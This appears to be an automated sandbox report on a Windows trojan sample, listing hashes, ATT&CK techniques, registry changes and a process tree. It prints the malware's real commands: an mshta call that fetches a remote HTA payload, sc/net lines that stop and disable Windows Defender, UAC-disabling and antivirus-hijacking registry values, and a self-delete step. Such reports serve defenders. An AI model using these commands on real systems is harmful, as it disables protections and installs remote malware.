900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

Analysis

max time kernel
152s
max time network
136s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
05/12/2022, 12:39 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe
Size

2.2MB
MD5

44e75fcf7bffbb2d15574bd78abb663b
SHA1

43be4f349f05f5ba056961ee8bdc9e4e8c443a10
SHA256

900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f
SHA512

c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961
SSDEEP

49152:Tb+qOGFGc/y+BMsAuII26f0EQh6fVnOTk3DSpX4R9DKp52:Tb2ou+mZpI268EQsx3D2XNpw

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

1
mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=VUIIVLGQ&2=i-s&3=135&4=7601&5=6&6=1&7=99600&8=1033"

URLs

hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=VUIIVLGQ&2=i-s&3=135&4=7601&5=6&6=1&7=99600&8=1033

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\wrvfvp.exe"	wrvfvp.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wrvfvp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wrvfvp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	wrvfvp.exe

Executes dropped EXE 1 IoCs

pid	Process
1096	wrvfvp.exe

Sets file execution options in registry 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe"	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe"	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe \Debugger = "svchost.exe"	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe"	wrvfvp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	wrvfvp.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	wrvfvp.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
1556	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe
1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wrvfvp.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
520	sc.exe
1552	sc.exe
912	sc.exe
528	sc.exe
2036	sc.exe
1524	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	wrvfvp.exe
Token: SeShutdownPrivilege	1096	wrvfvp.exe
Token: SeDebugPrivilege	1096	wrvfvp.exe
Token: SeShutdownPrivilege	1096	wrvfvp.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe
1096	wrvfvp.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 2036	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	28
PID 1244 wrote to memory of 2036	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	28
PID 1244 wrote to memory of 2036	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	28
PID 1244 wrote to memory of 2036	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	28
PID 1244 wrote to memory of 1524	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	29
PID 1244 wrote to memory of 1524	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	29
PID 1244 wrote to memory of 1524	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	29
PID 1244 wrote to memory of 1524	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	29
PID 1244 wrote to memory of 568	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	32
PID 1244 wrote to memory of 568	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	32
PID 1244 wrote to memory of 568	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	32
PID 1244 wrote to memory of 568	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	32
PID 1244 wrote to memory of 520	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	33
PID 1244 wrote to memory of 520	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	33
PID 1244 wrote to memory of 520	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	33
PID 1244 wrote to memory of 520	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	33
PID 568 wrote to memory of 1948	568	net.exe	36
PID 568 wrote to memory of 1948	568	net.exe	36
PID 568 wrote to memory of 1948	568	net.exe	36
PID 568 wrote to memory of 1948	568	net.exe	36
PID 1244 wrote to memory of 1096	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	37
PID 1244 wrote to memory of 1096	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	37
PID 1244 wrote to memory of 1096	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	37
PID 1244 wrote to memory of 1096	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	37
PID 1244 wrote to memory of 1556	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	38
PID 1244 wrote to memory of 1556	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	38
PID 1244 wrote to memory of 1556	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	38
PID 1244 wrote to memory of 1556	1244	900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe	38
PID 1096 wrote to memory of 1552	1096	wrvfvp.exe	40
PID 1096 wrote to memory of 1552	1096	wrvfvp.exe	40
PID 1096 wrote to memory of 1552	1096	wrvfvp.exe	40
PID 1096 wrote to memory of 1552	1096	wrvfvp.exe	40
PID 1096 wrote to memory of 912	1096	wrvfvp.exe	43
PID 1096 wrote to memory of 912	1096	wrvfvp.exe	43
PID 1096 wrote to memory of 912	1096	wrvfvp.exe	43
PID 1096 wrote to memory of 912	1096	wrvfvp.exe	43
PID 1096 wrote to memory of 1564	1096	wrvfvp.exe	42
PID 1096 wrote to memory of 1564	1096	wrvfvp.exe	42
PID 1096 wrote to memory of 1564	1096	wrvfvp.exe	42
PID 1096 wrote to memory of 1564	1096	wrvfvp.exe	42
PID 1096 wrote to memory of 528	1096	wrvfvp.exe	45
PID 1096 wrote to memory of 528	1096	wrvfvp.exe	45
PID 1096 wrote to memory of 528	1096	wrvfvp.exe	45
PID 1096 wrote to memory of 528	1096	wrvfvp.exe	45
PID 1564 wrote to memory of 972	1564	net.exe	48
PID 1564 wrote to memory of 972	1564	net.exe	48
PID 1564 wrote to memory of 972	1564	net.exe	48
PID 1564 wrote to memory of 972	1564	net.exe	48
PID 1096 wrote to memory of 1388	1096	wrvfvp.exe	49
PID 1096 wrote to memory of 1388	1096	wrvfvp.exe	49
PID 1096 wrote to memory of 1388	1096	wrvfvp.exe	49
PID 1096 wrote to memory of 1388	1096	wrvfvp.exe	49

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	wrvfvp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wrvfvp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wrvfvp.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	wrvfvp.exe

C:\Users\Admin\AppData\Local\Temp\900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe
"C:\Users\Admin\AppData\Local\Temp\900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1524
- C:\Windows\SysWOW64\net.exe
  net stop msmpsvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmpsvc
    3⤵
    PID:1948
- C:\Windows\SysWOW64\sc.exe
  sc config msmpsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:520
- C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Executes dropped EXE
  - Sets file execution options in registry
  - Checks whether UAC is enabled
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1096
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1552
- - C:\Windows\SysWOW64\net.exe
    net stop msmpsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop msmpsvc
      4⤵
      PID:972
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:912
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:528
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=VUIIVLGQ&2=i-s&3=135&4=7601&5=6&6=1&7=99600&8=1033"
    3⤵
    - Modifies Internet Explorer settings
    PID:1388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\900FFC~1.EXE" >> NUL
  2⤵
  - Deletes itself
  PID:1556

Network

DNS

softscoreinc.com

mshta.exe

Remote address:

8.8.8.8:53

Request

softscoreinc.com

IN A

Response

No results found

8.8.8.8:53

softscoreinc.com

dns

mshta.exe

62 B
135 B
1
1

DNS Request

softscoreinc.com

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

Filesize
2.2MB

MD5
44e75fcf7bffbb2d15574bd78abb663b

SHA1
43be4f349f05f5ba056961ee8bdc9e4e8c443a10

SHA256
900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

SHA512
c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

Filesize
2.2MB

MD5
44e75fcf7bffbb2d15574bd78abb663b

SHA1
43be4f349f05f5ba056961ee8bdc9e4e8c443a10

SHA256
900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

SHA512
c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\wrvfvp.exe

Filesize
2.2MB

MD5
44e75fcf7bffbb2d15574bd78abb663b

SHA1
43be4f349f05f5ba056961ee8bdc9e4e8c443a10

SHA256
900ffca233b325920f0e76a8b7ae74d37a434ab315088a5d763b66bec2abc77f

SHA512
c6aaaec41b7b84586a43a2fde49641de06aafa1d1d5d0f1000dcc69b518e7a2920165c708da3048abd889513ff8c23c187bfd9cf5d12ae4a98932333be43a961

Download Submit
memory/1096-70-0x0000000000400000-0x000000000082E000-memory.dmp

Filesize
4.2MB

Download
memory/1096-83-0x0000000000830000-0x000000000088A000-memory.dmp

Filesize
360KB

Download
memory/1096-82-0x0000000000400000-0x000000000082E000-memory.dmp

Filesize
4.2MB

Download
memory/1096-71-0x0000000000830000-0x000000000088A000-memory.dmp

Filesize
360KB

Download
memory/1244-57-0x0000000000400000-0x000000000082E000-memory.dmp

Filesize
4.2MB

Download
memory/1244-69-0x0000000004410000-0x000000000483E000-memory.dmp

Filesize
4.2MB

Download
memory/1244-56-0x00000000003A0000-0x00000000003FA000-memory.dmp

Filesize
360KB

Download
memory/1244-64-0x0000000004410000-0x000000000483E000-memory.dmp

Filesize
4.2MB

Download
memory/1244-73-0x0000000000400000-0x000000000082E000-memory.dmp

Filesize
4.2MB

Download
memory/1244-74-0x00000000003A0000-0x00000000003FA000-memory.dmp

Filesize
360KB

Download
memory/1244-54-0x0000000076531000-0x0000000076533000-memory.dmp

Filesize
8KB

Download
memory/1244-55-0x0000000000400000-0x000000000082E000-memory.dmp

Filesize
4.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

DNS Request

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.